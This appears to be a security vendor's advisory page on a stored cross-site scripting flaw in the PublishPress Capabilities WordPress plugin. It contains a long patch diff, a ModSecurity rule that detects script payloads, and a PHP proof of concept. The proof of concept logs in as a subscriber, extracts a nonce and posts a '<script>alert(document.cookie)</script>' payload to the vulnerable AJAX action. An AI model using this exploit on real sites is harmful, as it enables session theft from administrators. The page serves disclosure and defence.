+ * translation plugin is active or the object has no default-language original.
+ *
+ * @param integer $object_id Post or term ID.
+ * @param string  $type      Post type or taxonomy.
+ *
+ * @return integer
+ */
+if (!function_exists('pp_capabilities_default_language_object_id')) {
+    function pp_capabilities_default_language_object_id($object_id, $type)
+    {
+        $object_id = (int) $object_id;
+
+        if (!$object_id || !$type || !has_filter('wpml_object_id')) {
+            return $object_id;
+        }
+
+        $default_language = apply_filters('wpml_default_language', null);
+
+        if (empty($default_language)) {
+            return $object_id;
+        }
+
+        $original_id = (int) apply_filters('wpml_object_id', $object_id, $type, true, $default_language);
+
+        return $original_id ? $original_id : $object_id;
+    }
+}
+

 /**
  * Get current page URL
--- a/capability-manager-enhanced/includes/handler.php
+++ b/capability-manager-enhanced/includes/handler.php
@@ -344,6 +344,20 @@
 		$this->cm->message = __('Application password capabilities saved.', 'capability-manager-enhanced');
 	}

+    /** Queue existing network synchronization without an admin form. @since 2.54.0 */
+    public function queueRoleSync($role, $sync_roles = true, $sync_options = false)
+    {
+        if (!is_multisite() || !is_super_admin() || !is_main_site() || !current_user_can('manage_capabilities')) {
+            return new WP_Error('publishpress_network_forbidden', __('Network synchronization requires a main-site network administrator.', 'capability-manager-enhanced'));
+        }
+        $object = get_role($role);
+        if (!$object || (!$sync_roles && !$sync_options)) {
+            return new WP_Error('publishpress_network_role', __('Choose an existing role and a synchronization operation.', 'capability-manager-enhanced'));
+        }
+        require_once dirname(__DIR__) . '/framework/lib/users.php';
+        return $this->processNetworkSyncBatch($role, $object->capabilities, ak_caps2level($object->capabilities), $sync_roles, $sync_options);
+    }
+
 	public function continueNetworkSync($token)
 	{
 		return $this->runNetworkSyncBatch($token);
--- a/capability-manager-enhanced/includes/manager.php
+++ b/capability-manager-enhanced/includes/manager.php
@@ -1675,6 +1675,20 @@
                 $testing_user = $role_user[0];
                 if (!user_can($testing_user->ID, 'read')) {
                     $can_redirect = false;
+                } elseif (!user_can($testing_user->ID, 'manage_options')
+                    && isset($testing_user->roles) && is_array($testing_user->roles)) {
+                    // Block Dashboard Access sends this user to the home page before profile.php loads
+                    foreach ($testing_user->roles as $user_role) {
+                        $role_option = get_option("pp_capabilities_{$user_role}_role_option", []);
+                        if (is_array($role_option) && !empty($role_option)
+                            && !empty($role_option['block_dashboard_access'])
+                            && (int)$role_option['block_dashboard_access'] > 0
+                        ) {
+                            $profile_capture_error = __('Profile items could not be detected because users in this role are blocked from the admin area by the Block Dashboard Access option.', 'capability-manager-enhanced');
+                            $can_redirect = false;
+                            break;
+                        }
+                    }
                 }

             }
--- a/capability-manager-enhanced/includes/mcp-abilities.php
+++ b/capability-manager-enhanced/includes/mcp-abilities.php
@@ -0,0 +1,34 @@
+<?php
+
+/**
+ * Load the Capabilities Abilities API integration.
+ *
+ * @author PublishPress
+ * @copyright Copyright (c) 2026, PublishPress
+ * @license GPL v2 or later
+ * @since 2.54.0
+ */
+
+declare(strict_types=1);
+
+namespace PublishPressCapabilitiesMcp;
+
+defined('ABSPATH') || exit;
+
+require_once __DIR__ . '/mcp/bootstrap.php';
+require_once __DIR__ . '/mcp/role-read-abilities.php';
+require_once __DIR__ . '/mcp/grant-policy.php';
+require_once __DIR__ . '/mcp/role-operations.php';
+require_once __DIR__ . '/mcp/pro-settings-operations.php';
+require_once __DIR__ . '/mcp/feature-operations.php';
+require_once __DIR__ . '/mcp/interface-operations.php';
+require_once __DIR__ . '/mcp/interface-capture.php';
+require_once __DIR__ . '/mcp/menu-discovery.php';
+require_once __DIR__ . '/mcp/backup-operations.php';
+require_once __DIR__ . '/mcp/user-operations.php';
+require_once __DIR__ . '/mcp/advanced-operations.php';
+require_once __DIR__ . '/mcp/advanced-registry.php';
+require_once __DIR__ . '/mcp/custom-rule-operations.php';
+require_once __DIR__ . '/mcp/ability-registry.php';
+
+Bootstrap::instance();
--- a/capability-manager-enhanced/includes/mcp/ability-registry.php
+++ b/capability-manager-enhanced/includes/mcp/ability-registry.php
@@ -0,0 +1,532 @@
+<?php
+
+/**
+ * Register typed abilities covering the Capabilities menus.
+ *
+ * @author PublishPress
+ * @copyright Copyright (c) 2026, PublishPress
+ * @license GPL v2 or later
+ * @since 2.54.0
+ */
+
+declare(strict_types=1);
+
+namespace PublishPressCapabilitiesMcp;
+
+defined('ABSPATH') || exit;
+
+class AbilityRegistry
+{
+    /** @since 2.54.0 */
+    public static function object(array $properties, array $required = []): array
+    {
+        return ['type' => 'object', 'properties' => $properties, 'required' => $required, 'additionalProperties' => false];
+    }
+
+    /** @since 2.54.0 */
+    public static function register(string $name, string $label, string $description, array $input, array $output, callable $callback, $permission, bool $readonly = true, bool $idempotent = false): void
+    {
+        wp_register_ability('publishpress-capabilities/' . $name, [
+            'label' => $label,
+            'description' => $description, 'category' => 'publishpress',
+            'input_schema' => $input, 'output_schema' => self::object($output, array_keys($output)),
+            'permission_callback' => static function ($values = []) use ($input, $permission) {
+                if (!self::matchesType($values, $input)) {
+                    return false;
+                }
+                return is_callable($permission) ? $permission($values) : RoleOperations::canManage($permission);
+            },
+            'execute_callback' => static function ($values = []) use ($input, $callback) {
+                if (!self::matchesType($values, $input)) {
+                    return RoleOperations::error('input_type', __('Use the exact input types shown in discovery.', 'capability-manager-enhanced'));
+                }
+                return $callback($values);
+            },
+            'meta' => [
+                'public' => false, 'show_in_rest' => false, 'mcp' => ['public' => false, 'type' => 'tool'],
+                'annotations' => ['readonly' => $readonly, 'destructive' => !$readonly, 'idempotent' => $readonly || $idempotent],
+            ],
+        ]);
+    }
+
+    /** @since 2.54.0 */
+    public static function registerAll(): void
+    {
+        if (!function_exists('wp_register_ability')) {
+            return;
+        }
+        self::roles();
+        self::features();
+        self::backups();
+        self::interfaceActions();
+        self::users();
+        AdvancedRegistry::registerAll();
+    }
+
+    /** @since 2.54.0 */
+    private static function roles(): void
+    {
+        $role = ['type' => 'string', 'minLength' => 1, 'maxLength' => 100];
+        $name = ['type' => 'string', 'minLength' => 1, 'maxLength' => 100];
+        $string = ['type' => 'string'];
+        $object = ['type' => 'object'];
+        $list = ['type' => 'array', 'items' => $string];
+        $roleOutput = ['slug' => $string, 'name' => $string, 'capabilities' => ['type' => 'array', 'items' => $object]];
+        self::register(
+            'list-capabilities',
+            __('List capabilities', 'capability-manager-enhanced'),
+            __('List known role, post-type and taxonomy capabilities, optionally filtered by name.', 'capability-manager-enhanced'),
+            self::object(['search' => ['type' => 'string', 'maxLength' => 100]]),
+            ['capabilities' => $list],
+            [RoleOperations::class, 'catalog'],
+            'manage_capabilities'
+        );
+        self::register(
+            'compare-roles',
+            __('Compare roles', 'capability-manager-enhanced'),
+            __('Compare stored role grants and denials. Null means a capability is absent, false means explicitly denied.', 'capability-manager-enhanced'),
+            self::object(['role' => $role, 'other_role' => $role], ['role', 'other_role']),
+            ['differences' => ['type' => 'array', 'items' => $object]],
+            [RoleOperations::class, 'compare'],
+            'manage_capabilities'
+        );
+        self::register(
+            'create-role',
+            __('Create role', 'capability-manager-enhanced'),
+            __('Create an empty role or copy capabilities from source_role. Does not overwrite an existing role. Use update-role-capabilities for grants. MCP refuses copying administrator-level capabilities.', 'capability-manager-enhanced'),
+            self::object(['slug' => ['type' => 'string', 'pattern' => '^[a-z][a-z0-9_]{1,39}$'], 'name' => $name, 'source_role' => $role], ['slug', 'name']),
+            $roleOutput,
+            [RoleOperations::class, 'create'],
+            'manage_capabilities_roles',
+            false,
+            false
+        );
+        self::register(
+            'rename-role',
+            __('Rename role', 'capability-manager-enhanced'),
+            __('Change a role display name while retaining its slug, users, settings and capabilities.', 'capability-manager-enhanced'),
+            self::object(['role' => $role, 'name' => $name], ['role', 'name']),
+            $roleOutput,
+            [RoleOperations::class, 'rename'],
+            'manage_capabilities_roles',
+            false
+        );
+        self::register(
+            'delete-role',
+            __('Delete role', 'capability-manager-enhanced'),
+            __('Delete a custom editable role. Existing users with no remaining role move to the site default. System/default/own roles are protected.', 'capability-manager-enhanced'),
+            self::object(['role' => $role], ['role']),
+            ['deleted' => $string, 'users_moved_to_default_role' => ['type' => 'integer']],
+            [RoleOperations::class, 'delete'],
+            'manage_capabilities_roles',
+            false,
+            false
+        );
+        self::register(
+            'update-role-capabilities',
+            __('Update role capabilities', 'capability-manager-enhanced'),
+            __('Patch capabilities: grant=true, deny=false, remove=unset. Unmentioned capabilities remain unchanged. Use dry_run to inspect before/after without saving. Changes are validated before writes. MCP refuses new administrator-level grants, including in dry runs.', 'capability-manager-enhanced'),
+            self::object(
+                [
+                'role' => $role, 'dry_run' => ['type' => 'boolean', 'default' => false],
+                'changes' => ['type' => 'array', 'minItems' => 1, 'maxItems' => 500, 'items' => self::object([
+                    'capability' => ['type' => 'string', 'pattern' => '^[A-Za-z][A-Za-z0-9_-]{0,127}$'],
+                    'action' => ['type' => 'string', 'enum' => ['grant', 'deny', 'remove']],
+                ], ['capability', 'action'])],
+                ],
+                ['role', 'changes']
+            ),
+            ['role' => $string, 'before' => $object, 'after' => $object, 'applied' => ['type' => 'boolean']],
+            [RoleOperations::class, 'patch'],
+            'manage_capabilities',
+            false
+        );
+        self::register(
+            'get-role-options',
+            __('Get role options', 'capability-manager-enhanced'),
+            __('Read role editor preference, login/dashboard access and assignment disabling settings.', 'capability-manager-enhanced'),
+            self::object(['role' => $role], ['role']),
+            ['role' => $string, 'settings' => $object],
+            [RoleOperations::class, 'options'],
+            'manage_capabilities_roles'
+        );
+        self::register(
+            'update-role-options',
+            __('Update role options', 'capability-manager-enhanced'),
+            __('Patch role options without changing capabilities. Administrator/default/own-role lockout protections apply.', 'capability-manager-enhanced'),
+            self::object(
+                ['role' => $role, 'settings' => self::object([
+                'role_editor' => ['type' => 'array', 'items' => ['type' => 'string', 'enum' => ['classic_editor', 'block_editor']], 'uniqueItems' => true],
+                'disable_code_editor' => ['type' => 'boolean'], 'disable_role_user_login' => ['type' => 'boolean'],
+                'block_dashboard_access' => ['type' => 'boolean'], 'disable_role' => ['type' => 'boolean'],
+                'disable_woocommerce_admin_restrictions' => ['type' => 'boolean'],
+                'include_new_sites' => ['type' => 'boolean'],
+                'permissions_only' => ['type' => 'boolean'],
+                ])],
+                ['role', 'settings']
+            ),
+            ['role' => $string, 'settings' => $object],
+            [RoleOperations::class, 'updateOptions'],
+            'manage_capabilities_roles',
+            false
+        );
+    }
+
+    /** @since 2.54.0 */
+    private static function features(): void
+    {
+        $feature = ['type' => 'string', 'enum' => array_keys(FeatureOperations::definitions())];
+        $string = ['type' => 'string'];
+        $object = ['type' => 'object'];
+        $selector = ['feature' => $feature, 'role' => ['type' => 'string', 'minLength' => 1],
+            'post_type' => $string, 'editor' => ['type' => 'string', 'enum' => ['block', 'classic']]];
+        $permission = static function ($input) {
+            return FeatureOperations::canAccess($input['feature']);
+        };
+        $output = ['feature' => $string, 'role' => $string, 'settings' => $object];
+        self::register(
+            'list-features',
+            __('List features', 'capability-manager-enhanced'),
+            __('Discover all Capabilities menus, enabled states, permission names and supported configuration fields.', 'capability-manager-enhanced'),
+            self::object([]),
+            ['features' => ['type' => 'array', 'items' => $object]],
+            [FeatureOperations::class, 'catalog'],
+            'manage_capabilities_dashboard'
+        );
+        self::register(
+            'set-feature-enabled',
+            __('Set feature enabled', 'capability-manager-enhanced'),
+            __('Enable or disable a Capabilities dashboard feature on this site. Disabled features reject their configuration actions.', 'capability-manager-enhanced'),
+            self::object(['feature' => $string, 'enabled' => ['type' => 'boolean'], 'network_sync' => ['type' => 'boolean']], ['feature', 'enabled']),
+            ['feature' => $string, 'enabled' => ['type' => 'boolean']],
+            [FeatureOperations::class, 'toggle'],
+            'manage_capabilities_dashboard',
+            false
+        );
+        self::register(
+            'get-feature-choices',
+            __('Get feature choices', 'capability-manager-enhanced'),
+            __('Discover existing editor/admin elements, captured profile/frontend elements, menu snapshots with exact restriction_value identifiers, navigation items or admin style templates. Does not capture new browser UI.', 'capability-manager-enhanced'),
+            self::object($selector, ['feature']),
+            ['feature' => $string, 'choices' => $object],
+            [FeatureOperations::class, 'choices'],
+            $permission
+        );
+        self::register(
+            'get-feature-settings',
+            __('Get feature settings', 'capability-manager-enhanced'),
+            __('Read a role's settings for an enabled feature. Editor restrictions are specific to post_type and editor. Navigation also supports ppc_guest and ppc_users.', 'capability-manager-enhanced'),
+            self::object($selector, ['feature', 'role']),
+            $output,
+            [FeatureOperations::class, 'read'],
+            $permission
+        );
+        $fields = [];
+        foreach (FeatureOperations::definitions() as $definition) {
+            $fields = array_merge($fields, $definition['fields']);
+        }
+        $selector['settings'] = self::object($fields);
+        $selector['dry_run'] = ['type' => 'boolean'];
+        self::register(
+            'update-feature-settings',
+            __('Update feature settings', 'capability-manager-enhanced'),
+            __('Patch feature settings for one role. List fields replace their lists; unmentioned fields and other roles remain unchanged. dry_run validates and returns proposed values without saving. Discover fields with list-features. For admin-menus, first get-feature-choices and use discovery restriction_value identifiers. New unknown menu identifiers are rejected.', 'capability-manager-enhanced'),
+            self::object($selector, ['feature', 'role', 'settings']),
+            $output,
+            [FeatureOperations::class, 'update'],
+            $permission,
+            false
+        );
+        $bulkSelector = $selector;
+        unset($bulkSelector['role']);
+        $bulkSelector['roles'] = ['type' => 'array', 'minItems' => 1, 'maxItems' => 1000, 'uniqueItems' => true,
+            'items' => ['type' => 'string', 'minLength' => 1]];
+        self::register(
+            'bulk-update-feature-settings',
+            __('Bulk update feature settings', 'capability-manager-enhanced'),
+            __('Apply the same feature settings to multiple roles, validating all targets before writing. dry_run returns proposed settings only.', 'capability-manager-enhanced'),
+            self::object($bulkSelector, ['feature', 'roles', 'settings']),
+            ['roles' => ['type' => 'array', 'items' => $object]],
+            [FeatureOperations::class, 'bulkUpdate'],
+            $permission,
+            false
+        );
+        self::register(
+            'get-plugin-settings',
+            __('Get plugin settings', 'capability-manager-enhanced'),
+            __('Read Capabilities > Settings and the supported setting descriptions. Includes Roles > Multiples roles on Add New User and User Edit (Edit User), Editor Features > Show private post types, Capabilities visibility, User Testing, Admin Menus and Pro settings.', 'capability-manager-enhanced'),
+            self::object([]),
+            ['settings' => $object, 'schema' => $object],
+            [FeatureOperations::class, 'settings'],
+            'manage_capabilities_settings'
+        );
+        self::register(
+            'update-plugin-settings',
+            __('Update plugin settings', 'capability-manager-enhanced'),
+            __('Enable, disable or update Capabilities > Settings options. Supports multiple roles on Add New User or User Edit (Edit User), Show private post types under Editor Features or Capabilities, User Testing and Admin Menus settings. Read get-plugin-settings to identify the exact field. Change only the requested field. This saves individual settings, unlike set-feature-enabled which toggles whole screens.', 'capability-manager-enhanced'),
+            self::object(['settings' => self::object(FeatureOperations::settingFields())], ['settings']),
+            ['settings' => $object, 'schema' => $object],
+            [FeatureOperations::class, 'updateSettings'],
+            'manage_capabilities_settings',
+            false
+        );
+    }
+
+    /** @since 2.54.0 */
+    private static function backups(): void
+    {
+        $string = ['type' => 'string'];
+        $object = ['type' => 'object'];
+        $list = ['type' => 'array', 'items' => $string];
+        self::register(
+            'list-backups',
+            __('List backups', 'capability-manager-enhanced'),
+            __('List saved manual, initial and automatic Capabilities role backups. Returns identifiers for restore-backup.', 'capability-manager-enhanced'),
+            self::object([]),
+            ['backups' => ['type' => 'array', 'items' => $object]],
+            [BackupOperations::class, 'listing'],
+            'manage_capabilities_backup'
+        );
+        self::register(
+            'create-backup',
+            __('Create backup', 'capability-manager-enhanced'),
+            __('Save the current roles and plugin feature settings using the existing manual backup format. Replaces the last manual backup.', 'capability-manager-enhanced'),
+            self::object([]),
+            ['backup' => $string, 'sections' => $list],
+            [BackupOperations::class, 'create'],
+            'manage_capabilities_backup',
+            false,
+            false
+        );
+        self::register(
+            'restore-backup',
+            __('Restore backup', 'capability-manager-enhanced'),
+            __('Restore a listed backup. Manual backups include feature settings; initial/automatic backups restore roles. Use dry_run before applying.', 'capability-manager-enhanced'),
+            self::object(['backup' => $string, 'dry_run' => ['type' => 'boolean']], ['backup']),
+            ['applied' => ['type' => 'boolean'], 'settings' => $list],
+            [BackupOperations::class, 'restore'],
+            'manage_capabilities_backup',
+            false
+        );
+        self::register(
+            'export-configuration',
+            __('Export configuration', 'capability-manager-enhanced'),
+            __('Export plugin-owned configuration in the same allowlisted format used by the Backup screen. Returns available_sections for selective export and optionally filters user_roles by role slug. Contains permission configuration, not password secrets.', 'capability-manager-enhanced'),
+            self::object(['sections' => ['type' => 'array', 'minItems' => 1, 'uniqueItems' => true, 'items' => $string],
+                'roles' => ['type' => 'array', 'minItems' => 1, 'uniqueItems' => true, 'items' => $string]]),
+            ['configuration' => $object, 'available_sections' => $list],
+            [BackupOperations::class, 'export'],
+            'manage_capabilities_backup'
+        );
+        self::register(
+            'import-configuration',
+            __('Import configuration', 'capability-manager-enhanced'),
+            __('Validate and import a configuration export using the existing backup validators. Reject unsupported entries before writing; dry_run validates without saving. MCP rejects new administrator-level grants.', 'capability-manager-enhanced'),
+            self::object(['configuration' => $object, 'dry_run' => ['type' => 'boolean']], ['configuration']),
+            ['applied' => ['type' => 'boolean'], 'settings' => $list],
+            [BackupOperations::class, 'import'],
+            'manage_capabilities_backup',
+            false
+        );
+    }
+
+    /** @since 2.54.0 */
+    private static function interfaceActions(): void
+    {
+        $string = ['type' => 'string', 'maxLength' => 500];
+        $strings = ['type' => 'array', 'items' => $string, 'maxItems' => 1000];
+        $feature = ['type' => 'string', 'enum' => ['profile-features', 'frontend-features']];
+        $permission = static function ($input) {
+            return FeatureOperations::canAccess($input['feature']);
+        };
+        self::register(
+            'save-interface-element',
+            __('Save interface element', 'capability-manager-enhanced'),
+            __('Create or update a profile selector or frontend selector/CSS/body-class element. Does not enable it for a role; use update-feature-settings afterwards.', 'capability-manager-enhanced'),
+            self::object(
+                [
+                'feature' => $feature, 'id' => $string, 'label' => $string, 'role' => $string,
+                'selector' => ['type' => 'string', 'maxLength' => 5000], 'styles' => ['type' => 'string', 'maxLength' => 50000],
+                'bodyclass' => $string, 'pages' => ['type' => 'array', 'items' => ['type' => 'string', 'enum' => ['whole_site', 'homepage', 'archive_pages', 'single_pages']], 'uniqueItems' => true], 'post_types' => $strings,
+                'element_type' => ['type' => 'string', 'enum' => ['custom', 'section', 'header']],
+                ],
+                ['feature', 'label']
+            ),
+            ['id' => $string, 'feature' => $string],
+            [InterfaceOperations::class, 'saveElement'],
+            $permission,
+            false,
+            false
+        );
+        self::register(
+            'delete-interface-element',
+            __('Delete interface element', 'capability-manager-enhanced'),
+            __('Delete a profile/frontend element and remove its saved restriction references.', 'capability-manager-enhanced'),
+            self::object(['feature' => $feature, 'id' => $string, 'role' => $string], ['feature', 'id']),
+            ['deleted' => $string],
+            [InterfaceOperations::class, 'deleteElement'],
+            $permission,
+            false,
+            false
+        );
+        self::register(
+            'update-admin-menu-presentation',
+            __('Update admin menu presentation', 'capability-manager-enhanced'),
+            __('Rename menus for a role, set global menu/submenu ordering, update menu UI settings, or reset custom presentation. This does not change capabilities.', 'capability-manager-enhanced'),
+            self::object([
+                'action' => ['type' => 'string', 'enum' => ['rename', 'reorder', 'settings', 'reset']],
+                'role' => $string, 'menu' => $string, 'title' => $string, 'icon' => $string,
+                'type' => ['type' => 'string', 'enum' => ['menu', 'submenu']],
+                'show_menu_slug' => ['type' => 'boolean']

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-119157
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:2026119157,phase:2,deny,status:403,chain,msg:'CVE-2026-119157 via PublishPress Capabilities AJAX action ppc_update_profile_features_element_by_ajax',severity:'CRITICAL',tag:'CVE-2026-119157'"
  SecRule ARGS_POST:action "@streq ppc_update_profile_features_element_by_ajax" "chain"
    SecRule ARGS_POST:page_elements "@rx <script|on[a-z]+s*=" "t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-119157 - PublishPress Capabilities: User Role Access Control, Admin Area Permissions <= 2.53.0 - Authenticated (Subscriber+) Stored Cross-Site Scripting via 'page_elements' Parameter via ppc_update_profile_features_element_by_ajax

// Configuration
$target_url = 'http://example.com'; // WordPress site URL
$subscriber_username = 'subscriber'; // Subscriber account username
$subscriber_password = 'password'; // Subscriber password

// Step 1: Login as subscriber to get cookies
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $subscriber_username,
    'pwd' => $subscriber_password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$login_response = curl_exec($ch);
curl_close($ch);

// Step 2: Get a nonce for ppc-profile-edit-action. The nonce is typically embedded in the profile page or profile features page.
// We need to fetch the page where the nonce is generated. This might be /wp-admin/profile.php or a custom page.
// For simplicity, we assume the nonce is available on the profile page. In a real scenario, the attacker would need to identify the correct page.
$profile_url = $target_url . '/wp-admin/profile.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $profile_url);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$profile_page = curl_exec($ch);
curl_close($ch);

// Extract nonce using regex (adjust if needed)
preg_match('/name="_wpnonce" value="([^"]+)"/', $profile_page, $matches);
if (empty($matches[1])) {
    // Fallback: look for nonce in other common patterns
    preg_match('/ppc-profile-edit-action.*?([a-f0-9]{10})/', $profile_page, $matches);
}
$nonce = $matches[1] ?? '';
if (empty($nonce)) {
    die('Could not extract nonce. The nonce may be on a different page or use a different name.');
}

// Step 3: Send AJAX request to store malicious payload in page_elements
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$payload = json_encode(['<script>alert(document.cookie)</script>']); // Malicious script
$post_data = [
    'action' => 'ppc_update_profile_features_element_by_ajax', // AJAX action from the vulnerable handler
    'security' => $nonce,
    'page_elements' => $payload
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

echo "Payload sent. Response: $responsen";
echo "Now, an administrator must visit the Profile Features screen and save a row containing the payload for the XSS to trigger.n";

// Clean up cookies file
unlink('cookies.txt');
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.